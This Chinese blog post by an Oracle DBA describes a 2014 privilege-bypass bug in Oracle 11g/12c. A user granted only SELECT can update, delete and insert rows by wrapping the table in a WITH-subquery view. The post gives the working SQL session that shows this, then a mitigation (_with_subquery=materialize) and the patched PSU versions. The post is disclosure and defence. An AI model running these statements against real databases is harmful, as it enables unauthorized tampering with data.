IT博客汇
  • 首页
  • 精华
  • 技术
  • 设计
  • 资讯
  • 扯淡
  • 权利声明
  • 登录 注册

    通过with实现对表非法dml操作—解决方案_with_subquery=materialize或者psu(2014.07以后)

    惜分飞发表于 2015-05-25 13:28:51
    love 0

    联系:手机(13429648788) QQ(107644445)

    链接:http://www.xifenfei.com/5900.html

    标题:通过with实现对表非法dml操作—解决方案_with_subquery=materialize或者psu(2014.07以后)

    作者:惜分飞©版权所有[文章允许转载,但必须以链接方式注明源地址,否则追究法律责任.]

    最近网上流传的通过with绕过权限实现非法更新表数据,存在较大风险.对于cpu bug在2014年07月份psu中修复,建议升级对应psu,如果条件不允许,可以通过_with_subquery参数临时规避该风险
    数据库版本信息

    SQL> select * from v$version;
    
    BANNER
    --------------------------------------------------------------------------------
    Oracle Database 11g Enterprise Edition Release 11.2.0.4.0 - 64bit Production
    PL/SQL Release 11.2.0.4.0 - Production
    CORE    11.2.0.4.0      Production
    TNS for Linux: Version 11.2.0.4.0 - Production
    NLSRTL Version 11.2.0.4.0 - Production
    
    [oracle@localhost ~]$ opatch lsinventory
    Oracle Interim Patch Installer version 11.2.0.3.4
    Copyright (c) 2012, Oracle Corporation.  All rights reserved.
    
    
    Oracle Home       : /u01/app/oracle/product/11.2.0/db_1
    Central Inventory : /u01/app/oraInventory
       from           : /u01/app/oracle/product/11.2.0/db_1/oraInst.loc
    OPatch version    : 11.2.0.3.4
    OUI version       : 11.2.0.4.0
    Log file location : /u01/app/oracle/product/11.2.0/db_1/cfgtoollogs/opatch/opatch2015-05-25_20-38-37PM_1.log
    
    Lsinventory Output file location : /u01/app/oracle/product/11.2.0/db_1/
    cfgtoollogs/opatch/lsinv/lsinventory2015-05-25_20-38-37PM.txt
    
    --------------------------------------------------------------------------------
    Installed Top-level Products (1): 
    
    Oracle Database 11g                                                  11.2.0.4.0
    There are 1 products installed in this Oracle Home.
    
    
    There are no Interim patches installed in this Oracle Home.
    
    
    --------------------------------------------------------------------------------
    
    OPatch succeeded.
    

    该数据库版本为11.2.0.4,未安装任何psu补丁

    根据恩墨的测试重新bug信息
    可以参考原link:Oracle数据库高危漏洞警告!

    SQL> conn chf/xifenfei
    Connected.
    SQL> create table t_dml as select * from dba_users;
    
    Table created.
    
    SQL> create user xifenfei_dml identified by "www.xifenfei.com";
    
    User created.
    
    SQL> grant create session to xifenfei_dml;
    
    Grant succeeded.
    
    SQL> grant select on chf.t_dml to xifenfei_dml;
    
    Grant succeeded.
    
    SQL> 
    
    SQL> grant select on chf.t_dml to xifenfei_dml;
    
    Grant succeeded.
    
    SQL> conn xifenfei_dml/"www.xifenfei.com"
    Connected.
    
    SQL>  select count(*) from chf.t_dml;
    
      COUNT(*)
    ----------
            32
    
    SQL>  select username,user_id from chf.t_dml where rownum <= 2;
    
    USERNAME                          USER_ID
    ------------------------------ ----------
    SYS                                     0
    SYSTEM                                  5
    
    SQL> update chf.t_dml set username='www.xifenfei.com' where user_id = 5;
    update chf.t_dml set username='www.xifenfei.com' where user_id = 5
               *
    ERROR at line 1:
    ORA-01031: insufficient privileges
    
    SQL> update(with tmp as (select user_id,username from chf.t_dml)
      2  select user_id,username from tmp) set username='www.xifenfei.com' where user_id=5;
    
    1 row updated.
    
    SQL> commit;
    
    Commit complete.
    
    SQL> select username,user_id from chf.t_dml where rownum <= 2;
    
    USERNAME                          USER_ID
    ------------------------------ ----------
    SYS                                     0
    www.xifenfei.com                        5
    
    SQL> delete (with tmp as (select user_id,username from chf.t_dml)
      2   select user_id,username from tmp)  where user_id=5;
    
    1 row deleted.
    
    SQL> commit;
    
    Commit complete.
    
    SQL> select username,user_id from chf.t_dml where user_id=5;
    
    no rows selected
    
    SQL> insert into  (with tmp as (select * from chf.t_dml)
      2   select * from tmp) select * from chf.t_dml where rownum<10;
    
    9 rows created.
    
    SQL> commit;
    
    Commit complete.
    
    SQL> select count(*) from chf.t_dml;
    
      COUNT(*)
    ----------
            40
    

    这里确实证明了,在没有dml情况下,可以通过with方式实现dml操作,从而实现无更改记录用户实现dml操作,数据库存在安全隐患,通过查询mos等相关信息,确定该bug影响数据库11.2.0.3,11.2.0.4,12.1.0.1等常见版本

    对于不能及时升级的用户使用_with_subquery参数临时规避该bug
    这个隐含参数的含义是在用with子句查询的时候,将 查询结果物化成temp表,(其实这也是我们常用with子句的目的,物化、缓存结果集)

    SQL> conn / as sysdba
    Connected.
    SQL> col name for a52
    col value for a24
    SQL> SQL> col description for a50
    set linesize 150
    SQL> SQL> select a.ksppinm name,b.ksppstvl value,a.ksppdesc description
      2    from x$ksppi a,x$ksppcv b
     where a.inst_id = USERENV ('Instance')
      3    4     and b.inst_id = USERENV ('Instance')
      5     and a.indx = b.indx
      6     and upper(a.ksppinm) LIKE upper('%¶m;%')
      7  order by name
    /  8  
    Enter value for param: _WITH_SUBQUERY
    old   6:    and upper(a.ksppinm) LIKE upper('%¶m;%')
    new   6:    and upper(a.ksppinm) LIKE upper('%_WITH_SUBQUERY%')
    
    NAME                                                 VALUE                    DESCRIPTION
    ---------------------------------------------------- ------------------------ ------------------------------
    _with_subquery                                       OPTIMIZER                WITH subquery transformation
    
    
    
    SQL> alter system  set "_with_subquery"=materialize; 
    
    System altered.
                                 
    
    SQL> alter system  set "_with_subquery"=materialize; 
    
    System altered.
    
    SQL> insert into  (with tmp as (select * from chf.t_dml)
      2   select * from tmp) select * from chf.t_dml where rownum<10;
    insert into  (with tmp as (select * from chf.t_dml)
                 *
    ERROR at line 1:
    ORA-01732: data manipulation operation not legal on this view
    
    
    SQL> delete (with tmp as (select user_id,username from chf.t_dml)
      2   select user_id,username from tmp)  where user_id=5;
    delete (with tmp as (select user_id,username from chf.t_dml)
           *
    ERROR at line 1:
    ORA-01732: data manipulation operation not legal on this view
    
    
    SQL> update(with tmp as (select user_id,username from chf.t_dml)
      2  select user_id,username from tmp) set username='www.xifenfei.com' where user_id=5;
    update(with tmp as (select user_id,username from chf.t_dml)
          *
    ERROR at line 1:
    ORA-01732: data manipulation operation not legal on this view
    

    该漏洞在2014年7月的CPU中被修正,以下psu中包含了该cpu补丁,如果条件允许,建议尽快升级如下版本

    Version 12.1.0.1.4 or later
    Version 11.2.0.4.3 or later
    Version 11.2.0.3.11 or later
    Version 11.1.0.7.20 or later
    
    • ORACLE用户重命名
    • 设置_smu_debug_mode实现指定session级别使用特定回滚段
    • V$PWFILE_USERS和密码文件关系(续)
    • 11g 使用 alter user identified by values password 恢复历史密码
    • Oracle常用用户权限视图
    • 关于ORACLE 11G密码大小写敏感猜想(USER$.SPARE4)
    • Oracle 小升级 opatch apply使用
    • Oracle 12C TABLE ACCESS BY INDEX ROWID BATCHED


沪ICP备19023445号-2号
友情链接